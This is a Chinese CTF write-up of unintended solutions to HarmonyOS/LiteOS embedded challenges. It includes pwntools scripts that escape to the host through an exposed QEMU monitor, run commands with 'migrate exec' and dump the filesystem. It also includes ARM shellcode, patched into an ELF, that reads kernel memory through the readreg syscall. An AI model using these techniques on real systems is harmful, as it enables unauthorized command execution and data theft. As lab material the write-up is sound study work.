XCTF 华为高校挑战赛决赛 嵌入式赛题 非预期解

总共5道嵌入式赛题,全部非预期…

image

用户态赛题

所有的启动脚本中,qemu都没有关monitor(-monitor /dev/null):

./qemu-system-arm -M hi3518 -kernel liteos.bin -nographic

所以可以直接发送控制字符组合(b"\x01c"),使得远程的qemu进入monitor模式,然后即可执行qemu外的系统命令:

from pwn import *
context(log_level='debug')

io =remote("172.35.7.36",9999)
io.send(b"\x01c")
io.interactive()

这种打法经常出现在qemu逃逸题目中非预期中,flag一般直接可以查看到,但本题的flag在harmonyOS的文件系统中,所以要重点关注rootfs.img

  • 解包工具:jefferson
  • 解包用法:jefferson rootfs.img -d ./xxx
  • 固件打包: mkfs.jffs2 -d ./xxx -o rootfs.img

unsql

可以执行本机命令后,尝试直接strings题目文件系统即可看到flag:

from pwn import *
context(log_level='debug')

io =remote("172.35.7.36",9999)
io.send(b"\x01c")
sleep(1)
io.sendline(b"")
io.sendlineafter("(qemu) ",'migrate "exec: strings /rootfs.img | grep flag"')
io.interactive()
flag{SQLITE_WORKS_Well_in_HarmonyOS}

yugioh

本题的文件系统strings后没有flag结果,分析程序,flag应该在远程文件系统中的cards文件夹中,所以想办法把远程的rootfs.img dump下来即可。首先将其base64编码:

migrate "exec: base64 rootfs.img > /tmp/1.txt 1>&2"

查看其总共12w行左右,然后分段下载,每次1w行,下载过程中可能不稳定,手工检查一下每个文件是否是1w行:

from pwn import *
#context(log_level='debug')

for j in range(0,13):
    io =remote("172.35.7.37",9999)
    io.send(b"\x01c")
    sleep(10)
    log.success("[shell]")
    f = open(str( j*100 ),'wb')
    for i in range(j*100,(j+1)*100):
        io.sendline(b"")
        io.sendlineafter("(qemu)",'migrate "exec: cat /tmp/1.txt | tail -n +%s | head -n 100 1>&2"'%str(i*100))
        a = io.recvuntil("tail: error writing")
        print('xuanxuan')
        print(a)
        if a[-19:] == b'tail: error writing':
            print('[+] %s / 1205' % str(i))
            f.write(a[-7719:-19])
            print(a[-789:-19])
        else:
            break
    f.close()
    io.close()

然后合并下载的13个文件并base64解码,然后解开文件系统就能找到flag:

  cd ./cards 
  grep -r "flag" ./
./Right_Leg_of_the_Forbidden_One:flag{Yugioh_Is_Really_FUN!}
./Right_Leg_of_the_Forbidden_One:flag{Yugioh_Is_Really_FUN!}

dptth

虽然本题的qemu也没有关monitor,但无法和qemu直接交互,交互的方式为发送base64编码的HTTP请求,然后由题目脚本转发给题目的webserver。不过发现远程直接发base64编码的GET / HTTP/1.1\n\n发现回包中本身就含有hacked,而题目检查回包中有hacked就打印flag:

#!/usr/bin/env python3
import socket
import base64
import os
import time
import atexit

def exit_handler():
    os.system("kill -9 `pidof qemu-system-arm`")

HOST = "192.168.1.10"  # The server's hostname or IP address
PORT = 8008  # The port used by the server

atexit.register(exit_handler)
os.system("./start_qemu.sh >/dev/null &")
print("Wait for the server to run up")
time.sleep(20)

def make_request(request_data):
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect((HOST, PORT))
        s.sendall(request_data)
        print("Waiting for output", flush=True)
        time.sleep(5)
        data = s.recv(1024)

    print("Received {}".format(data), flush=True)
    return data

for i in range(2):
    print("Give me your payload: ", flush=True)
    data = input().strip().encode("utf-8")
    data = base64.b64decode(data)
    make_request(data)

response = make_request(b"GET / HTTP/1.1\n\n")
if b"hacked" in response:
    with open("/flag", "r") as f:
        print(f.read(), flush=True)

因此无论输入什么只要不触发崩溃即可,测试发送base64编码的GET / HTTP/1.1\n\n几次即可:

>>> b64e(b"GET / HTTP/1.1\n\n")
'R0VUIC8gSFRUUC8xLjEKCg=='

image

flag{Clasic_http_ON_Harmony}

内核态赛题

虽然启动QEMU也没关monitor,但也是无法直接和QEMU交互。两年前在杭州进行鸿蒙系统开源测试的时候,就发现了HarmonyOS的shell里有一些内建命令,其中readreg可以直接读内核内存,而flag就在内核内存中…

这里readreg的含义应该是读取ARM SoC上的外设寄存器,这些寄存器访问就是通过物理地址。

image

不过由于远程不能直接执行shell命令,而是需要传一个ELF程序上去,所以我们需要分析readreg命令背后的原理,并实现到ELF中。分析这个命令的实现不在shell程序中,而是在内核中。并且为了方便选手逆向,题目还给了ELF格式的内核:

  grep -r "shell commands" ./
Binary file .//liteos.bin matches
Binary file .//liteos matches
  file liteos
liteos: ELF 32-bit LSB executable, ARM, statically linked, not stripped

分析两道题目的liteos中的flag地址分别为

  • harmodriver_revenge:0x40130580
  • drivemecrazy:0x40131580

以harmodriver_revenge为例,在调用readreg 0x40130580 0x20进行调试,因为实现在内核,所以将断点打在shell程序的syscall调用(base+0x4510):

.plt:00004510 syscall 
.plt:00004510 
.plt:00004510      ADRL      R12, 0x4518
.plt:00004518      LDR       PC, [R12,#(off_5164 - 0x4518)]!

调试方法如两年前所写:XCTF华为鸿蒙专场 HARMOFS01

image

执行readreg 0x40130580 100,断点断下,查看参数寄存器,发现shell命令的系统调用号为0x206,命令直接用字符串传递:

pwndbg> p /x $r0
$1 = 0x206
pwndbg> x /s $r1
0x242d4aa0:	"readreg"
pwndbg> x /s $r2
0x242d4a80:	"readreg 0x40130580 100"

查看libc.so中的syscall函数实现,确认syscall的参数传递符合arm标准,r0,r1传递参数,r7存放系统调用号:

.text:0006AB14 syscall
...
.text:0006AB2C            MOV      R7, R0
...
.text:0006AB34            MOV      R0, R1
...
.text:0006AB48            MOV      R1, R2
...
.text:0006AB60            SVC      0

所以可以写出调用readreg的shellcode:

from pwn import *
context(arch='arm')

shellcode = asm('''
mov r7,0x206
adr r0,readreg
adr r1,cmd
svc 0

readreg:
.asciz  "readreg"

cmd:
.asciz "readreg 0x40130580 100"
''')

print(shellcode.hex())

然后把这个shellcode塞进一个原本的程序中即可,这里以camera_app为例,其main函数在ELF文件0x1154偏移处:

from pwn import *
context(arch='arm')

shellcode = asm('''
mov r7,0x206
adr r0,readreg
adr r1,cmd
svc 0

readreg:
.asciz  "readreg"

cmd:
.asciz "readreg 0x40130580 100"
''')

print(shellcode.hex())

stub = open('./camera_app','rb').read()
exp  = stub[:0x1154]+shellcode+stub[0x1154+len(shellcode):]
open('./exp','wb').write(exp)

重打包后执行便可获取flag:

OHOS # ./exp
OHOS # 
 0x40130580 :67616c66 6968547b 73692073 726f6620 
 0x40130590 :73657420 00007d74 00000000 00000000 
 0x401305a0 :00000000 00000000 4006a2cc 00000000 
 0x401305b0 :00000000 00000000 400ec6ec 401305c8 
 0x401305c0 :4026b8bc 7fffffff 400de6b0 400f84dc 
 0x401305d0 :00000000 00000000 00000002 40300bfc 
 0x401305e0 :4006be2c 

然后将elf进行hex编码上传即可获取远程flag:

from pwn import *
context(log_level='debug')

exp = open("./exp",'rb').read().hex()
io = remote("172.35.7.35",9999)

io.sendlineafter(b"finish",exp)
sleep(0.1)
io.sendline(b"Exit")

io.interactive()

不过远程输出比较乱,可以开启pwntools的log_level='debug'然后手工处理一下,两个题目的返回如下

harmodriver_revenge

返回如下:

[DEBUG] Received 0xa84 bytes:
00000000  2e 2f 70 77  6e 0d 0d 0a  1b 5b 31 3b  33 31 6d 4f  ./pwn···│·[1;31mO
00000010  48 4f 53 20  23 20 1b 5b  30 6d 0d 0d  0a 20 30 78  HOS │# ·[0m··│· 0x
00000020  34 30 31 33  30 35 38 30  20 3a 36 37  36 31 36 63  40130580 :67616c
00000030  36 36 20 37  32 36 31 34  38 37 62 20  37 32 34 34  66 7261487b 7244
00000040  36 66 36 64  20 36 35 37  32 35 66 36  39 20 0d 0d  6f6d 65725f69 ··│
00000050  0a 20 30 78  34 30 31 33  30 35 39 30  20 3a 34 37  │· 0x40130590 :47
00000060  36 65 36 35  37 36 20 30  30 30 30 37  64 34 35 20  6e6576 00007d45 
00000070  30 30 30 30  30 30 30 30  20 30 30 30  30 30 30 30  00000000 0000000
00000080  30 20 0d 0d  0a 20 30 78  34 30 31 33  30 35 61 30  0 ··│· 0x401305a0
00000090  20 3a 30 30  30 30 30 30  30 30 20 30  30 30 30 30   :00000000 00000
000000a0  30 30 30 20  34 30 30 36  61 32 63 63  20 30 30 30  000 4006a2cc 000
000000b0  30 30 30 30  30 20 0d 0d  0a 20 30 78  34 30 31 33  00000 ··│· 0x4013
000000c0  30 35 62 30  20 3a 30 30  30 30 30 30  30 30 20 30  05b0 :00000000 0
000000d0  30 30 30 30  30 30 30 20  34 30 30 65  63 36 64 61  0000000 400ec6da
000000e0  20 34 30 31  33 30 35 63  38 20 0d 0d  0a 20 30 78   401305c8 ··│· 0x
000000f0  34 30 31 33  30 35 63 30  20 3a 34 30  32 36 62 38  401305c0 :4026b8
00000100  62 63 20 37  66 66 66 66  66 66 66 20  34 30 30 64  bc 7fffffff 400d
00000110  65 36 62 30  20 34 30 30  66 38 34 64  63 20 0d 0d  e6b0 400f84dc ··│
00000120  0a 20 30 78  34 30 31 33  30 35 64 30  20 3a 30 30  │· 0x401305d0 :00
00000130  30 30 30 30  30 30 20 30  30 30 30 30  30 30 30 20  000000 00000000 
00000140  30 30 30 30  30 30 30 32  20 34 30 33  30 30 62 66  00000002 40300bf
00000150  63 20 0d 0d  0a 20 30 78  34 30 31 33  30 35 65 30  c ··│· 0x401305e0
00000160  20 3a 34 30  30 36 62 65  32 63 20 0d  0d 0a 0d 0d   :4006be2c ·│····│
00000170  0a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  │·***************
00000180  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  ****************

处理并打印:

flag = bytes.fromhex('''
2e 2f 70 77  6e 0d 0d 0a  1b 5b 31 3b  33 31 6d 4f
48 4f 53 20  23 20 1b 5b  30 6d 0d 0d  0a 20 30 78
34 30 31 33  30 35 38 30  20 3a 36 37  36 31 36 63
36 36 20 37  32 36 31 34  38 37 62 20  37 32 34 34
36 66 36 64  20 36 35 37  32 35 66 36  39 20 0d 0d
0a 20 30 78  34 30 31 33  30 35 39 30  20 3a 34 37
36 65 36 35  37 36 20 30  30 30 30 37  64 34 35 20
30 30 30 30  30 30 30 30  20 30 30 30  30 30 30 30
30 20 0d 0d  0a 20 30 78  34 30 31 33  30 35 61 30
20 3a 30 30  30 30 30 30  30 30 20 30  30 30 30 30
30 30 30 20  34 30 30 36  61 32 63 63  20 30 30 30
30 30 30 30  30 20 0d 0d  0a 20 30 78  34 30 31 33
30 35 62 30  20 3a 30 30  30 30 30 30  30 30 20 30
30 30 30 30  30 30 30 20  34 30 30 65  63 36 64 61
20 34 30 31  33 30 35 63  38 20 0d 0d  0a 20 30 78
34 30 31 33  30 35 63 30  20 3a 34 30  32 36 62 38
62 63 20 37  66 66 66 66  66 66 66 20  34 30 30 64
65 36 62 30  20 34 30 30  66 38 34 64  63 20 0d 0d
0a 20 30 78  34 30 31 33  30 35 64 30  20 3a 30 30
30 30 30 30  30 30 20 30  30 30 30 30  30 30 30 20
30 30 30 30  30 30 30 32  20 34 30 33  30 30 62 66
63 20 0d 0d  0a 20 30 78  34 30 31 33  30 35 65 30
20 3a 34 30  30 36 62 65  32 63 20 0d  0d 0a 0d 0d
0a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a
2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a
'''.replace(" ","").replace("\n",""))
print(flag.decode())

打印结果:

  python3 flag.py
./pwn
OHOS # 
 0x40130580 :67616c66 7261487b 72446f6d 65725f69 
 0x40130590 :476e6576 00007d45 00000000 00000000 
 0x401305a0 :00000000 00000000 4006a2cc 00000000 
 0x401305b0 :00000000 00000000 400ec6da 401305c8 
 0x401305c0 :4026b8bc 7fffffff 400de6b0 400f84dc 
 0x401305d0 :00000000 00000000 00000002 40300bfc 
 0x401305e0 :4006be2c 

*******************************

hex解码打印flag:

l = ["67616c66","7261487b","72446f6d","65725f69","476e6576","00007d45"]
f = b''
for i in l:
    f += bytes.fromhex(i)[::-1]
print(f)
flag{HarmoDri_revenGE}

drivemecrazy

同上,shellcode记得修改flag地址为0x40131580:

[DEBUG] Received 0xa84 bytes:
00000000  2e 2f 70 77  6e 0d 0d 0a  1b 5b 31 3b  33 31 6d 4f  ./pwn···│·[1;31mO
00000010  48 4f 53 20  23 20 1b 5b  30 6d 0d 0d  0a 20 30 78  HOS # ·[│0m··│· 0x│
00000020  34 30 31 33  31 35 38 30  20 3a 36 37  36 31 36 63  40131580 :67616c
00000030  36 36 20 37  32 36 31 34  38 37 62 20  36 34 36 38  66 7261487b 6468
00000040  36 66 36 64  20 36 39 37  32 34 34 36  36 20 0d 0d  6f6d 69724466 ··│
00000050  0a 20 30 78  34 30 31 33  31 35 39 30  20 3a 34 33  │· 0x40131590 :43
00000060  36 35 36 64  37 36 20 37  34 37 30 37  39 37 32 20  656d76 74707972 
00000070  37 64 37 39  37 61 36 66  20 30 30 30  30 30 30 30  7d797a6f 0000000
00000080  30 20 0d 0d  0a 20 30 78  34 30 31 33  31 35 61 30  0 ··│· 0x401315a0
00000090  20 3a 30 30  30 30 30 30  30 30 20 30  30 30 30 30   :00000000 00000
000000a0  30 30 30 20  30 30 30 30  30 30 30 30  20 30 30 30  000 00000000 000
000000b0  30 30 30 30  30 20 0d 0d  0a 20 30 78  34 30 31 33  00000 ··│· 0x4013
000000c0  31 35 62 30  20 3a 30 30  30 30 30 30  30 30 20 30  15b0 :00000000 0
000000d0  30 30 30 30  30 30 30 20  34 30 30 36  61 32 64 38  0000000 4006a2d8
000000e0  20 30 30 30  30 30 30 30  30 20 0d 0d  0a 20 30 78   00000000 ··│· 0x
000000f0  34 30 31 33  31 35 63 30  20 3a 30 30  30 30 30 30  401315c0 :000000
00000100  30 30 20 30  30 30 30 30  30 30 30 20  34 30 30 65  00 00000000 400e
00000110  64 37 37 39  20 34 30 31  33 31 35 64  38 20 0d 0d  d779 401315d8 ··│
00000120  0a 20 30 78  34 30 31 33  31 35 64 30  20 3a 34 30  │· 0x401315d0 :40
00000130  32 36 63 63  30 30 20 37  66 66 66 66  66 66 66 20  26cc00 7fffffff 
00000140  34 30 30 64  66 36 63 66  20 34 30 30  66 39 36 32  400df6cf 400f962
00000150  63 20 0d 0d  0a 20 30 78  34 30 31 33  31 35 65 30  c ··│· 0x401315e0
00000160  20 3a 30 30  30 30 30 30  30 30 20 0d  0d 0a 0d 0d   :00000000 ·│····│
00000170  0a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  2a 2a 2a 2a  │·***************
l = ["67616c66","7261487b","64686f6d","69724466","43656d76","74707972","7d797a6f"]
f = b''
for i in l:
    f += bytes.fromhex(i)[::-1]
print(f)
flag{HarmohdfDrivmeCryptozy}